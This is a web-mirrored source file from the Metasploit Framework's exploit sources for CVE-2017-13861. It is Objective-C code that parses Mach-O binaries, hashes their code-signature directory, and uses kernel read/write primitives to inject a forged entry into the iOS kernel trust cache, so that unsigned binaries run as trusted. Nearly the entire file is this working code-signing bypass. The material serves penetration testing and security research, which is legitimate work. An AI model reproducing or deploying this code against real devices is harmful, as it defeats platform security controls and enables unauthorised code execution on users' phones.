CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2017-13861/trustcache.m
Views: 11780
1
2
#include <stdio.h>
3
#include <stdint.h>
4
#include <stdlib.h>
5
#include <mach-o/fat.h>
6
7
#include "patchfinder64.h"
8
#include "kernel_utils.h"
9
#include "sha1.h"
10
#include "sha256.h"
11
12
#import <Foundation/Foundation.h>
13
14
//#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)
15
#define LOG(str, args...)
16
17
struct trust_mem {
18
uint64_t next; //struct trust_mem *next;
19
unsigned char uuid[16];
20
unsigned int count;
21
//unsigned char data[];
22
} __attribute__((packed));
23
24
25
uint32_t swap_uint32( uint32_t val ) {
26
val = ((val << 8) & 0xFF00FF00 ) | ((val >> 8) & 0xFF00FF );
27
return (val << 16) | (val >> 16);
28
}
29
30
uint32_t read_magic(FILE* file, off_t offset) {
31
uint32_t magic;
32
fseek(file, offset, SEEK_SET);
33
fread(&magic, sizeof(uint32_t), 1, file);
34
return magic;
35
}
36
37
void *load_bytes(FILE *file, off_t offset, size_t size) {
38
void *buf = calloc(1, size);
39
fseek(file, offset, SEEK_SET);
40
fread(buf, size, 1, file);
41
return buf;
42
}
43
44
uint8_t *get_code_directory(const char* name) {
45
46
FILE* fd = fopen(name, "r");
47
48
uint32_t magic;
49
fread(&magic, sizeof(magic), 1, fd);
50
fseek(fd, 0, SEEK_SET);
51
52
long off, file_off = 0;
53
int ncmds;
54
int foundarm64 = 0;
55
56
if (magic == MH_MAGIC_64) { // 0xFEEDFACF
57
struct mach_header_64 mh64;
58
fread(&mh64, sizeof(mh64), 1, fd);
59
off = sizeof(mh64);
60
ncmds = mh64.ncmds;
61
}
62
else if (magic == MH_MAGIC) {
63
printf("[-] %s is 32bit. What are you doing here?\n", name);
64
fclose(fd);
65
return NULL;
66
}
67
else if (magic == 0xBEBAFECA) { //FAT binary magic
68
69
size_t header_size = sizeof(struct fat_header);
70
size_t arch_size = sizeof(struct fat_arch);
71
size_t arch_off = header_size;
72
73
struct fat_header *fat = (struct fat_header*)load_bytes(fd, 0, header_size);
74
struct fat_arch *arch = (struct fat_arch *)load_bytes(fd, arch_off, arch_size);
75
76
int n = swap_uint32(fat->nfat_arch);
77
printf("[*] Binary is FAT with %d architectures\n", n);
78
79
while (n-- > 0) {
80
magic = read_magic(fd, swap_uint32(arch->offset));
81
82
if (magic == 0xFEEDFACF) {
83
printf("[*] Found arm64\n");
84
foundarm64 = 1;
85
struct mach_header_64* mh64 = (struct mach_header_64*)load_bytes(fd, swap_uint32(arch->offset), sizeof(struct mach_header_64));
86
file_off = swap_uint32(arch->offset);
87
off = swap_uint32(arch->offset) + sizeof(struct mach_header_64);
88
ncmds = mh64->ncmds;
89
break;
90
}
91
92
arch_off += arch_size;
93
arch = load_bytes(fd, arch_off, arch_size);
94
}
95
96
if (!foundarm64) { // by the end of the day there's no arm64 found
97
printf("[-] No arm64? RIP\n");
98
fclose(fd);
99
return NULL;
100
}
101
}
102
else {
103
printf("[-] %s is not a macho! (or has foreign endianness?) (magic: %x)\n", name, magic);
104
fclose(fd);
105
return NULL;
106
}
107
108
for (int i = 0; i < ncmds; i++) {
109
struct load_command cmd;
110
fseek(fd, off, SEEK_SET);
111
fread(&cmd, sizeof(struct load_command), 1, fd);
112
if (cmd.cmd == LC_CODE_SIGNATURE) {
113
uint32_t off_cs;
114
fread(&off_cs, sizeof(uint32_t), 1, fd);
115
uint32_t size_cs;
116
fread(&size_cs, sizeof(uint32_t), 1, fd);
117
118
uint8_t *cd = malloc(size_cs);
119
fseek(fd, off_cs + file_off, SEEK_SET);
120
fread(cd, size_cs, 1, fd);
121
fclose(fd);
122
return cd;
123
} else {
124
off += cmd.cmdsize;
125
}
126
}
127
fclose(fd);
128
return NULL;
129
}
130
131
void get_sha256_hash(const uint8_t* data, uint32_t datasize, uint8_t *out) {
132
SHA256_CTX ctx;
133
sha256_init(&ctx);
134
sha256_update(&ctx, data, datasize);
135
sha256_final(&ctx, out);
136
}
137
138
void get_sha1_hash(const uint8_t* data, uint32_t datasize, uint8_t *out) {
139
SHA1_CTX ctx;
140
SHA1Init(&ctx);
141
SHA1Update(&ctx, data, datasize);
142
SHA1Final(out, &ctx);
143
}
144
145
int trust_bin(const char* filepath)
146
{
147
uint64_t trust_chain = Find_trustcache();
148
if (!trust_chain) {
149
trust_chain = Find_trustcache10_3_2();
150
}
151
LOG("trust %p\n", (void*)trust_chain);
152
153
struct trust_mem fake_chain;
154
fake_chain.next = KernelRead_64bits(trust_chain);
155
*(uint64_t *)&fake_chain.uuid[0] = 0xabadbabeabadbabe;
156
*(uint64_t *)&fake_chain.uuid[8] = 0xabadbabeabadbabe;
157
LOG("trust_chain %p\n", (void*)fake_chain.next);
158
159
uint8_t *cd = get_code_directory(filepath);
160
if (!cd) {
161
return -1;
162
}
163
164
uint32_t* code_dir_int = (uint32_t*)cd;
165
uint32_t realsize = 0;
166
for (int j = 0; j < 10; j++) {
167
if (swap_uint32(code_dir_int[j]) == 0xfade0c02) {
168
realsize = swap_uint32(code_dir_int[j+1]);
169
cd += 4*j;
170
}
171
}
172
173
uint8_t *hash;
174
size_t hash_size;
175
// iOS 11 uses sha-256
176
if (kCFCoreFoundationVersionNumber >= 1443.00) {
177
hash_size = 32;
178
hash = malloc(hash_size);
179
get_sha256_hash(cd, realsize, hash);
180
} else {
181
hash_size = 20;
182
hash = malloc(hash_size);
183
get_sha1_hash(cd, realsize, hash);
184
}
185
186
fake_chain.count = 1;
187
size_t length = (sizeof(fake_chain) + hash_size + 0xFFFF) & ~0xFFFF;
188
uint64_t kernel_trust = Kernel_alloc(length);
189
LOG("[*] allocated: 0x%zx => 0x%llx\n", length, kernel_trust);
190
191
KernelWrite(kernel_trust, &fake_chain, sizeof(fake_chain));
192
KernelWrite(kernel_trust + sizeof(fake_chain), hash, hash_size);
193
KernelWrite_64bits(trust_chain, kernel_trust);
194
195
return 0;
196
}
197
198
199